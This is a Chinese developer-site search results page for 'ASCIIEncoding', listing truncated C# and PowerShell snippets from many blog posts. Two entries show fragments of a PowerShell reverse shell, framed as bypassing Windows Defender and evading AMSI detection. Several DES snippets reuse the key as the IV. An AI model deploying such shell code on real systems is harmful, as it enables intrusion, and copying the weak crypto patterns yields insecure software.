首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏全栈程序员必看

    C#单纯的字母数字ASCII码转换

    asciiEncoding = new System.Text.ASCIIEncoding(); byte[] btNumber = new byte[] { (byte )number }; return asciiEncoding.GetString(btNumber); } return "数字不在转换范围内 number && 36 >= number) { int num = number+64; System.Text.ASCIIEncoding asciiEncoding = new System.Text.ASCIIEncoding(); byte[] btNumber = new byte[] { (byte )num }; return asciiEncoding.GetString(btNumber); } return "数字不在转换范围内

    2.1K10编辑于 2022-07-18
  • 来自专栏DT乱“码”

    3DES 加密与解密

    byte[] inputByteArray = Encoding.GetEncoding("UTF-8").GetBytes(pToEncrypt);                 des.Key = ASCIIEncoding.ASCII.GetBytes (key);                 des.IV = ASCIIEncoding.ASCII.GetBytes(key);                 System.IO.MemoryStream [x] = (byte)i;                 }                 string key = this.Keys;                 des.Key = ASCIIEncoding.ASCII.GetBytes (key);                 des.IV = ASCIIEncoding.ASCII.GetBytes(key);                 System.IO.MemoryStream

    2.5K101发布于 2018-02-09
  • 来自专栏sofu456

    dotnet MD5

    DESCryptoServiceProvider desCrypto = (DESCryptoServiceProvider)DESCryptoServiceProvider.Create(); return ASCIIEncoding.ASCII.GetString ); byte[] inputByteArray = Encoding.Default.GetBytes(pToEncrypt); des.Key = ASCIIEncoding.ASCII.GetBytes (sKey); des.IV = ASCIIEncoding.ASCII.GetBytes(sKey); MemoryStream ms = new MemoryStream

    1K20发布于 2020-05-04
  • 来自专栏阿林前端开发攻城狮

    C#封装的DES加密、解密类代码

    ] inputByteArray; inputByteArray=Encoding.Default.GetBytes(Text); des.Key = ASCIIEncoding.ASCII.GetBytes System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8)); des.IV = ASCIIEncoding.ASCII.GetBytes Text.Substring(x * 2, 2), 16); inputByteArray[x]=(byte)i; } des.Key = ASCIIEncoding.ASCII.GetBytes System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8)); des.IV = ASCIIEncoding.ASCII.GetBytes

    1.6K40发布于 2021-11-03
  • 来自专栏css小迷妹

    C# 发HTTP请求

    //reqStr.Append("</request>"); string postData = reqStr.ToString(); ASCIIEncoding encoding = new ASCIIEncoding(); byte[] data = encoding.GetBytes(postData); 如果公司设置了代理,可以这样: try { string postData = ""; ASCIIEncoding encoding = new ASCIIEncoding(); byte[] data = encoding.GetBytes(postData);

    71730发布于 2021-11-03
  • 来自专栏飞扬的花生

    Md5加密秘钥加密哈希加密

    inputByteArray=Encoding.Unicode.GetBytes(pToEncrypt); //建立加密对象的密钥和偏移量 //原文使用ASCIIEncoding.ASCII 方法的GetBytes方法 //使得输入密码必须输入英文文本 des.Key = ASCIIEncoding.ASCII.GetBytes(sKey) ; des.IV = ASCIIEncoding.ASCII.GetBytes(sKey); MemoryStream ms = new MemoryStream inputByteArray[x] = (byte)i; } //建立加密对象的密钥和偏移量,此值重要,不能修改 des.Key = ASCIIEncoding.ASCII.GetBytes (sKey); des.IV = ASCIIEncoding.ASCII.GetBytes(sKey); MemoryStream ms = new MemoryStream

    6.8K90发布于 2018-01-18
  • 来自专栏张善友的专栏

    JavaScript 和asp.net配合编码字符串

         .net 的System.Text.ASCIIEncoding 和System.BitConvertor类配合在服务端加密字符串,客户端使用Javascript解密字符串。 encryption using the raw email txtServerEncrypted.Text = System.BitConverter.ToString( System.Text.ASCIIEncoding.ASCII.GetBytes the encryption using the raw email txtAllTogether.Text = System.BitConverter.ToString( System.Text.ASCIIEncoding.ASCII.GetBytes

    1.5K90发布于 2018-01-19
  • 来自专栏全栈程序员必看

    c#byte数组转换成字符串_字符串数组怎么定义

    using System; using System.Text; public static string FromASCIIByteArray(byte[] characters) { ASCIIEncoding encoding = new ASCIIEncoding( ); string constructedString = encoding.GetString(characters); return

    1.1K10编辑于 2022-09-27
  • 来自专栏阿炬.NET

    c#通用登录模块,简单好用,一贴见效

    DESCryptoServiceProvider des = new DESCryptoServiceProvider(); des.Key = ASCIIEncoding.ASCII.GetBytes (key); //建立加密对象的密钥和偏移量 des.IV = ASCIIEncoding.ASCII.GetBytes(key);  //原文使用ASCIIEncoding.ASCII 16)); inputByteArray[x] = (byte)i; } des.Key = ASCIIEncoding.ASCII.GetBytes (key); //建立加密对象的密钥和偏移量,此值重要,不能修改 des.IV = ASCIIEncoding.ASCII.GetBytes(key);

    1.3K60发布于 2018-05-11
  • 来自专栏鸿鹄实验室

    Bypass Windows Defender Reverse Shell

    GetStream(); [byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){; $d=(New-Object Text.ASCIIEncoding GetStream(); [byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){; $d=(New-Object Text.ASCIIEncoding while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding

    1.4K40发布于 2021-04-15
  • 来自专栏Java架构师必看

    字符串截取固定长度的方法

    解决了汉字与英文字节不一样导致直接截取到的长度不一样的问题,   #region 字符串截取函数   public static string CutString(string inputString,int len)   {    ASCIIEncoding ascii =  new ASCIIEncoding();   int tempLen=0;   string tempString="";   byte[] s = ascii.GetBytes

    2.3K20发布于 2021-03-22
  • 来自专栏信安之路

    一种 Powershell 的混淆方式绕过 AMSI 检测

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) 6、iex是调用函数的 PowerShell 此外,与其使用别名 text.encoding 进行字节转换,不如使用原生函数 [System.Text.ASCIIEncoding]将字符串转换为字节的 API。 我们将把字节存储在 b 变量中,并将 API [System.Text.ASCIIEncoding] 存储在 s 变量中。我们稍后将使用此进行字节转换。 NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0`r`nAccept: text/html`r`n`r`n" $s = [System.Text.ASCIIEncoding

    4.8K40发布于 2021-03-25
  • 来自专栏跟着阿笨一起玩NET

    C#中char[]与string之间的转换;byte[]与string之间的转化

    Encoding.UTF8.GetString(bb);   string 转换为byte[]   byte[] bytes;   string str = "abc";   System.Text.ASCIIEncoding  ascill = new ASCIIEncoding();   bytes = ascill.GetBytes(str); (3)将一整数逆序,如987654321变为123456789。                 

    1.9K10发布于 2018-09-18
  • 来自专栏DotNet NB && CloudNative

    C# 调用js库的方法

    FileShare.Read)) { byte[] bArr = new byte[fs.Length]; await fs.ReadAsync(bArr, 0, bArr.Length); js = ASCIIEncoding.UTF8 new byte[fs.Length]; await fs.ReadAsync(bArr, 0, bArr.Length); js = ASCIIEncoding.UTF8 new byte[fs.Length]; await fs.ReadAsync(bArr, 0, bArr.Length); js = ASCIIEncoding.UTF8 new byte[fs.Length]; await fs.ReadAsync(bArr, 0, bArr.Length); js = ASCIIEncoding.UTF8 fs.Length]; await fs.ReadAsync(bArr, 0, bArr.Length); string json = ASCIIEncoding.UTF8

    12.9K40编辑于 2023-02-12
  • 来自专栏全栈程序员必看

    C# DES (ECB模式) 加密解密 –单倍长「建议收藏」

    DESCryptoServiceProvider(); desEncrypt.Mode = CipherMode.ECB; //desEncrypt.Key = ASCIIEncoding.ASCII.GetBytes desEncrypt.Key = keys; byte[] Buffer; Buffer = shuju;//ASCIIEncoding.ASCII.GetBytes

    1.1K20编辑于 2022-07-11
  • 来自专栏全栈程序员必看

    十六进制字符串转化成字符串输出「建议收藏」

    NumberStyles.HexNumber, null, out vBytes[i / 2])) vBytes[i / 2] = 0; return ASCIIEncoding.Default.GetString vBytes); } public string StrToHex(string mStr) //返回处理后的十六进制字符串 { return BitConverter.ToString( ASCIIEncoding.Default.GetBytes

    90130编辑于 2022-09-19
  • 来自专栏全栈程序员必看

    C#UDP编程

    bool continueLoop = true; while(continueLoop){ System.Text.ASCIIEncoding encode = new System.Text.ASCIIEncoding(); string sendString = Console.ReadLine(); ; while (true) { ASCIIEncoding encode = new ASCIIEncoding();

    1.7K10编辑于 2022-10-04
  • 来自专栏跟着阿笨一起玩NET

    c# 播放mp3

    { return mc.iName; } set { //ASCIIEncoding asc = new ASCIIEncoding(); try { TemStr = "";

    3.1K10发布于 2018-09-19
  • 来自专栏全栈程序员必看

    C# License

    RSAPKCS1SignatureFormatter(rsa); // 加密对象 f.SetHashAlgorithm(“SHA1”); byte[] source = System.Text.ASCIIEncoding.ASCII.GetBytes Convert.FromBase64String(“注册码”); SHA1Managed sha = new SHA1Managed(); byte[] name = sha.ComputeHash(ASCIIEncoding.ASCII.GetBytes

    1.3K20编辑于 2022-09-17
  • 来自专栏python3

    Winfrom 播放MP3音乐文件

    { return mc.iName; } set { //ASCIIEncoding asc = new ASCIIEncoding(); try { TemStr = "";

    1.5K10发布于 2020-01-07
领券